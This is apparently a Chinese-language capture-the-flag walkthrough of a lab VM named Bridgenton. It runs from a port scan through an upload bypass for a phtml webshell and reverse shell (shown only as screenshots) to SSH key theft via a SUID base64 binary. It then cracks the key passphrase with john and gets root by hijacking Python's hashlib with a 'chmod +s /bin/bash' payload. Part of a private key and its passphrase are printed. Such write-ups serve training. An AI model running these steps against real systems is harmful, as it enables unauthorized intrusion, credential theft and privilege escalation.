Bridgenton

image

信息搜集

192.168.100.35

端口扫描

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
┌──(root㉿Eecho)-[~]
└─# rustscan -a 192.168.100.35 -- -A
.----. .-. .-. .----..---. .----. .---. .--. .-. .-.
| {} }| { } |{ {__ {_ _}{ {__ / ___} / {} \ | `| |
| .-. \| {_} |.-._} } | | .-._} }\ }/ /\ \| |\ |
`-' `-'`-----'`----' `-' `----' `---' `-' `-'`-' `-'
The Modern Day Port Scanner.
________________________________________
: http://discord.skerritt.blog :
: https://github.com/RustScan/RustScan :
--------------------------------------
Port scanning: Because every port has a story to tell.

[~] The config file is expected to be at "/root/.rustscan.toml"
[~] File limit higher than batch size. Can increase speed by increasing batch size '-b 10140'.
Open 192.168.100.35:22
Open 192.168.100.35:80
[~] Starting Script(s)
[>] Running script "nmap -vvv -p {{port}} -{{ipversion}} {{ip}} -A" on ip 192.168.100.35
Depending on the complexity of the script, results may take some time to appear.
[~] Starting Nmap 7.99 ( https://nmap.org ) at 2026-07-15 12:24 +0800
NSE: Loaded 158 scripts for scanning.
NSE: Script Pre-scanning.
NSE: Starting runlevel 1 (of 3) scan.
Initiating NSE at 12:24
Completed NSE at 12:24, 0.00s elapsed
NSE: Starting runlevel 2 (of 3) scan.
Initiating NSE at 12:24
Completed NSE at 12:24, 0.00s elapsed
NSE: Starting runlevel 3 (of 3) scan.
Initiating NSE at 12:24
Completed NSE at 12:24, 0.00s elapsed
Initiating ARP Ping Scan at 12:24
Scanning 192.168.100.35 [1 port]
Completed ARP Ping Scan at 12:24, 0.05s elapsed (1 total hosts)
Initiating Parallel DNS resolution of 1 host. at 12:24
Completed Parallel DNS resolution of 1 host. at 12:24, 0.50s elapsed
DNS resolution of 1 IPs took 0.50s. Mode: Async [#: 3, OK: 0, NX: 1, DR: 0, SF: 0, TR: 1, CN: 0]
Initiating SYN Stealth Scan at 12:24
Scanning 192.168.100.35 [2 ports]
Completed SYN Stealth Scan at 12:24, 1.23s elapsed (2 total ports)
Initiating Service scan at 12:24
Initiating OS detection (try #1) against 192.168.100.35
Retrying OS detection (try #2) against 192.168.100.35
NSE: Script scanning 192.168.100.35.
NSE: Starting runlevel 1 (of 3) scan.
Initiating NSE at 12:24
Completed NSE at 12:24, 0.00s elapsed
NSE: Starting runlevel 2 (of 3) scan.
Initiating NSE at 12:24
Completed NSE at 12:24, 0.00s elapsed
NSE: Starting runlevel 3 (of 3) scan.
Initiating NSE at 12:24
Completed NSE at 12:24, 0.00s elapsed
Nmap scan report for 192.168.100.35
Host is up, received arp-response (0.00060s latency).
Scanned at 2026-07-15 12:24:40 CST for 3s

PORT STATE SERVICE REASON VERSION
22/tcp filtered ssh no-response
80/tcp filtered http no-response
MAC Address: 08:00:27:B7:D3:F3 (Oracle VirtualBox virtual NIC)
Too many fingerprints match this host to give specific OS details
TCP/IP fingerprint:
SCAN(V=7.99%E=4%D=7/15%OT=%CT=%CU=38121%PV=Y%DS=1%DC=D%G=N%M=080027%TM=6A570B8B%P=x86_64-pc-linux-gnu)
SEQ(II=I)
U1(R=Y%DF=N%T=40%IPL=164%UN=0%RIPL=G%RID=G%RIPCK=G%RUCK=G%RUD=G)
IE(R=Y%DFI=N%T=40%CD=S)

Network Distance: 1 hop

TRACEROUTE
HOP RTT ADDRESS
1 0.60 ms 192.168.100.35

NSE: Script Post-scanning.
NSE: Starting runlevel 1 (of 3) scan.
Initiating NSE at 12:24
Completed NSE at 12:24, 0.00s elapsed
NSE: Starting runlevel 2 (of 3) scan.
Initiating NSE at 12:24
Completed NSE at 12:24, 0.00s elapsed
NSE: Starting runlevel 3 (of 3) scan.
Initiating NSE at 12:24
Completed NSE at 12:24, 0.00s elapsed
Read data files from: /usr/share/nmap
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 4.27 seconds
Raw packets sent: 35 (2.952KB) | Rcvd: 7 (1.392KB)

image

可以注册一个用户

image

在注册界面可以上传文件,考虑能否上传一个webshell

image

经过尝试发现phtml可以上传

image

上传反弹shell

image

image

提权

www -> james

查找suid权限

1
2
3
4
5
6
7
8
9
10
11
12
13
www-data@Bridgenton:/tmp$ find / -perm -4000 2>/dev/null
/usr/bin/gpasswd
/usr/bin/chfn
/usr/bin/passwd
/usr/bin/newgrp
/usr/bin/base64
/usr/bin/mount
/usr/bin/su
/usr/bin/umount
/usr/bin/chsh
/usr/bin/sudo
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/lib/openssh/ssh-keysign

其中/usr/bin/base64可以读取文件内容,我们可以尝试读取私钥

https://gtfobins.org/gtfobins/base64/

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
www-data@Bridgenton:/tmp$ /usr/bin/base64 /home/james/.ssh/id_rsa | base64 --decode
-----BEGIN OPENSSH PRIVATE KEY-----
b3BlbnNzaC1rZXktdjEAAAAACmFlczI1Ni1jdHIAAAAGYmNyeXB0AAAAGAAAABALGSD+7G
VAgvhq1BAfYGyxAAAAEAAAAAEAAAGXAAAAB3NzaC1yc2EAAAADAQABAAABgQC0iftAUEoD
QuKzq2LP3oMC+WZJdnKEhwEb23pMUboabNinhJqT5s4yh/9U/Icazmk4ucBuaEWaX+dPnG
sB6VYIccQHlJPgXWqSuTNcLHOT+N8ImnN9MTNmZnbnXbtpIWVp7UIw1Efm7aDpmj/wccDb
QeHwE/5yDO3mTisbWYlfax2yoMAvMjyUlzfYC1q+L8vqdC3OSc0wEku6oIxQYzAUun5Th0
RPiYeiBvjLjQRTbtzSv8lF5tgoPYDGA4uZktvat7zQwqXlqQhnTt6HddDm5t57XbAYXGk4
dAp7D1K9EVgaVQI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SSH PRIVATE KEY-----

存在包含需要爆破

1
2
3
4
5
6
7
8
9
10
11
12
13
14
┌──(root㉿Eecho)-[/tmp/aaaa]
└─# ssh2john id_rsa > rsa_hash.txt
┌──(root㉿Eecho)-[/tmp/aaaa]
└─# john --wordlist=/usr/share/wordlists/rockyou.txt rsa_hash.txt
Using default input encoding: UTF-8
Loaded 1 password hash (SSH, SSH private key [RSA/DSA/EC/OPENSSH 32/64])
Cost 1 (KDF/cipher [0=MD5/AES 1=MD5/3DES 2=Bcrypt/AES]) is 2 for all loaded hashes
Cost 2 (iteration count) is 16 for all loaded hashes
Will run 24 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
bowwow (id_rsa)
1g 0:00:00:01 DONE (2026-07-15 13:15) 0.6097g/s 234.1p/s 234.1c/s 234.1C/s alyssa..michael1
Use the "--show" option to display all of the cracked passwords reliably
Session completed.

横向移动到james用户

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
┌──(root㉿Eecho)-[/tmp/aaaa]
└─# ssh james@192.168.100.35 -i id_rsa
james@192.168.100.35's password:
Linux Bridgenton 6.1.0-18-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.76-1 (2024-02-01) x86_64

The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Tue Apr 2 10:32:50 2024 from 192.168.1.41
james@Bridgenton:~$ id
uid=1000(james) gid=1000(james) grupos=1000(james),24(cdrom),25(floppy),27(sudo),29(audio),30(dip),44(video),46(plugdev),100(users),106(netdev)
james@Bridgenton:~$

james -> root

1
2
3
4
5
6
james@Bridgenton:~$ sudo -l
Matching Defaults entries for james on Bridgenton:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin, use_pty

User james may run the following commands on Bridgenton:
(root) NOPASSWD: /usr/bin/python3 /opt/example.py

可以看到导入了hashlib库

1
2
3
4
5
6
7
8
9
10
james@Bridgenton:/opt$ cat example.py
import hashlib

if __name__ == '__main__':


cadena = "Hola esta es mi cadena"


print(hashlib.md5(cadena.encode()).hexdigest())

我们对这个文件没有写权限,但是我们对opt目录有写权限

1
drwxr-xr-x   2 james root  4096 abr  1  2024 opt

那么可以利用Python 库劫持,原因如下

当 Python 尝试导入 hashlib​ 时,它会按照 sys.path​ 里的顺序去搜寻模块。在 Python 中,当前工作目录的优先级通常高于系统标准库目录

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
james@Bridgenton:/opt$ echo -e "import os\nos.system('chmod +s /bin/bash')" > hashlib.py
james@Bridgenton:/opt$ cat hashlib.py
import os
os.system('chmod +s /bin/bash')
james@Bridgenton:/opt$ ls
example.py hashlib.py
james@Bridgenton:/opt$ sudo -l
Matching Defaults entries for james on Bridgenton:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin, use_pty

User james may run the following commands on Bridgenton:
(root) NOPASSWD: /usr/bin/python3 /opt/example.py
james@Bridgenton:/opt$ sudo /usr/bin/python3 /opt/example.py
Traceback (most recent call last):
File "/opt/example.py", line 9, in <module>
print(hashlib.md5(cadena.encode()).hexdigest())
^^^^^^^^^^^
AttributeError: module 'hashlib' has no attribute 'md5'
james@Bridgenton:/opt$ ls -al /bin/bash
-rwsr-sr-x 1 root root 1265648 abr 23 2023 /bin/bash
james@Bridgenton:/opt$ /bin/bash -p
bash-5.2# id
uid=1000(james) gid=1000(james) euid=0(root) egid=0(root) grupos=0(root),24(cdrom),25(floppy),27(sudo),29(audio),30(dip),44(video),46(plugdev),100(users),106(netdev),1000(james)
bash-5.2#